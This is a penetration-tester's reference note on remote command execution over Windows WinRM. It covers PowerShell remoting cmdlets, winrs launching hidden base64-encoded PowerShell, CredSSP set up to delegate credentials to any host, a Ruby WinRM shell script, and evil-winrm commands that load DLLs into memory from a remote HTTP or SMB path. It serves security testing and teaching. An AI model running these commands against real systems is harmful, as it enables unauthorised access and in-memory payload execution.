Over WinRM

PowerShell's WinRM remoting

Windows Remote Management (WinRM) is the Microsoft implementation of WS-Management Protocol, a standard Simple Object Access Protocol (SOAP)-based, protocol that allows hardware and operating systems, from different vendors, to interoperate. By default, WinRM uses the TCP ports 5985 and 5986 for connections, respectively over HTTP and HTTPS. For more information about WinRM itself, refer to the L7 - 5985-5986 WSMan note.

Multiples cmdlets are incorporated into the PowerShell core to execute commands remotely through WinRM, also known as PowerShell Remoting. Through PowerShell Remoting, unitary commands can be executed or full PowerShell sessions can be established.

Members of the Windows built-in Administrators and Remote Management Users groups are allowed, by default, to access a remote machine through WinRM:

(Get-PSSessionConfiguration -Name Microsoft.PowerShell).Permission
  NT AUTHORITY\INTERACTIVE AccessAllowed, BUILTIN\Administrators AccessAllowed, BUILTIN\Remote Management Users AccessAllowed

Refer to the [L7] 5985-5986 WSMan note for the listing of the different authentication mechanisms supported by WinRM.

PowerShell Remoting can be conducted through HTTP / HTTPS proxies, if necessary. The proxy settings can be specified through the Internet Options graphical utility and set as the system-wide Microsoft Windows HTTP Services (WinHTTP) proxy using netsh.

Control Panel -> Internet Options -> Connections -> LAN settings
  "Use a proxy server for your LAN [...]" checked
  (Optional) "Bypass proxy server for local addresses" checked
  Advanced -> (For WinRM over HTTP, port TCP 5985) HTTP: <127.0.0.1 | HTTP_PROXY_IP> <HTTP_PROXY_PORT>
           -> (For WinRM over HTTPS, port TCP 5986) Secure: <127.0.0.1 | HTTPS_PROXY_IP> <HTTPS_PROXY_PORT>

netsh winhttp import proxy source=ie

# Lists the configured proxies.
netsh winhttp dump
  [...]
  set proxy proxy-server="http=<HTTP_PROXY_IP>:<HTTP_PROXY_PORT>;https=<HTTPS_PROXY_IP>:<HTTPS_PROXY_PORT>" bypass-list="<local>"

# Restore the WinHTTP default proxy settings (no proxies).
netsh winhttp reset proxy

The Invoke-Command, Enter-PSSession, and New-PSSession PowerShell cmdlets can be used to execute commands on a remote host through WinRM:

# PowerShell built-in cmdlets.

$user = '<DOMAIN | WORKGROUP>\<USERNAME>';
$pass = '<PASSWORD>';
$spass = ConvertTo-SecureString -AsPlainText $pass -Force;
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList $user,$spass;

# Executes a PowerShell single command.
Invoke-Command -ComputerName <HOSTNAME | IP> -Credential $creds -ScriptBlock { <POWERSHELL> };

# Enters an interactive PowerShell session.
Enter-PSSession -ComputerName <HOSTNAME | IP> -Credential $creds

# Creates an interactive PowerShell session that can be used to execute further commands, transfer files, or enter an interactive session.
$s = New-PSSession [-Credential <PSCredential>] -ComputerName <HOSTNAME | IP>
Invoke-Command -Session $s -ScriptBlock { <POWERSHELL> }
Enter-PSSession -Session $s
Copy-Item -FromSession $s -Destination "<LOCAL_PATH>" "<REMOTE_FILE_PATH>"
Copy-Item -ToSession $s -Destination "<REMOTE_PATH>" "<LOCAL_FILE_PATH>"
Remove-PSSession -Session $s

# winrs utility.

# WinRM over HTTP 5985.
winrs /noprofile -r:<HOSTNAME | IP> -u:<DOMAIN | WORKGROUP>\<USERNAME> -p:<PASSWORD> C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -NonI -W Hidden -Enc <BASE64_ENCODED_POWERSHELL>

# WinRM over HTTPS 5986.
winrs /noprofile /usessl -r:<HOSTNAME | IP> -u:<DOMAIN | WORKGROUP>\<USERNAME> -p:<PASSWORD> C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -NonI -W Hidden -Enc <BASE64_ENCODED_POWERSHELL>

To solve the "double hop" authentication problem, which occurs whenever trying to access resources on a third server from the first remotely connected server, the CredSSP authentication mechanism can be used. Simply put, the problem happens because credentials are not allowed for delegation and thus can't be passed whenever accessing network resources from the remotely connected system. All access ends up being unauthenticated and results in Access denied errors.

Supports for CredSSP must be activated and configured on the client attacking system. The configuration below allows delegation to any system.

winrm quickconfig
Set-Item WSMan:localhost\client\trustedhosts -value *
Enable-WSManCredSSP -Role "Client" -DelegateComputer "*"

Start gpedit.msc
-> "Local Computer Policy" -> "Computer Configuration" -> "Administrative Templates" -> "System" -> "Credential Delegation"
-> In the "Settings" pane, "Allow Delegating Fresh Credentials with NTLM-only Server Authentication". -> "Enabled"
-> And in the "Options" area, "Show" -> "Value" = WSMAN/*
-> "Concatenate OS defaults with input above" checked

Once CredSSP is activated and correctly configured, the PowerShell cmdlets Invoke-Command and Enter-PSSession can be used with the -Authentication CredSSP option to make connections using CredSSP.

WinRM remoting from Linux

The following ruby script can be used to start a PowerShell session on a distant Windows system through a WinRM service:

require 'winrm'

# Author: Alamot

conn = WinRM::Connection.new(
  endpoint: 'http://<IP>:<PORT/wsman',
  transport: :ssl,
  user: '<USERNAME>',
  password: '<PASSWORD>',
  :no_ssl_peer_verification => true
)

command=""

conn.shell(:powershell) do |shell|
    until command == "exit\n" do
        output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
        print(output.output.chomp)
        command = gets
        output = shell.run(command) do |stdout, stderr|
            STDOUT.print stdout
            STDERR.print stderr
        end
    end
    puts "Exiting with code #{output.exitcode}"
end

Note that the script does not support CredSSP authentication and is thus prone to the "double hop" authentication problem.

The evil-winrm ruby extend the code above with a number of functionality, such as command history and completion, upload and download of files, loading of in memory of PowerShell scripts, dll or C# binary, etc.

evil-winrm -u <USERNAME> -p '<PASSWORD>' -i <HOSTNAME | IP> -s <LOCAL_PATH_PS_SCRIPTS> -e <LOCAL_PATH_EXE_SCRIPTS>

Supported commands:

CommandDescription

download <REMOTE_PATH> <LOCAL_PATH>

Download remote file. LOCAL_PATH is not required

upload <LOCAL_PATH> <REMOTE_PATH>

Download remote file.

services

List Windows services and the associated binaries paths

<PS_NAME.ps1>

Load the specified PowerShell script in memory. The PowerShell script must be in the path set at -s argument when the evil-winrm shell was started. menu can be used to list the loaded cmdlets.

Invoke-Binary <LOCAL_BINARY_PATH>

Load the specified binary, compiled from C#, to be executed in memory. Accepts up to 3 arguments

l04d3r-LoadDll

Load dll libraries in memory, equivalent to: [Reflection.Assembly]::Load([IO.File]::ReadAllBytes("pwn.dll"))

l04d3r-LoadDll -smb -path \\<HOSTNAME | IP>\\<SHARE>\\<DLL>
l04d3r-LoadDll -local -path <LOCAL_DLL_PATH>
l04d3r-LoadDll -http -path http://<URL>/<DLL>
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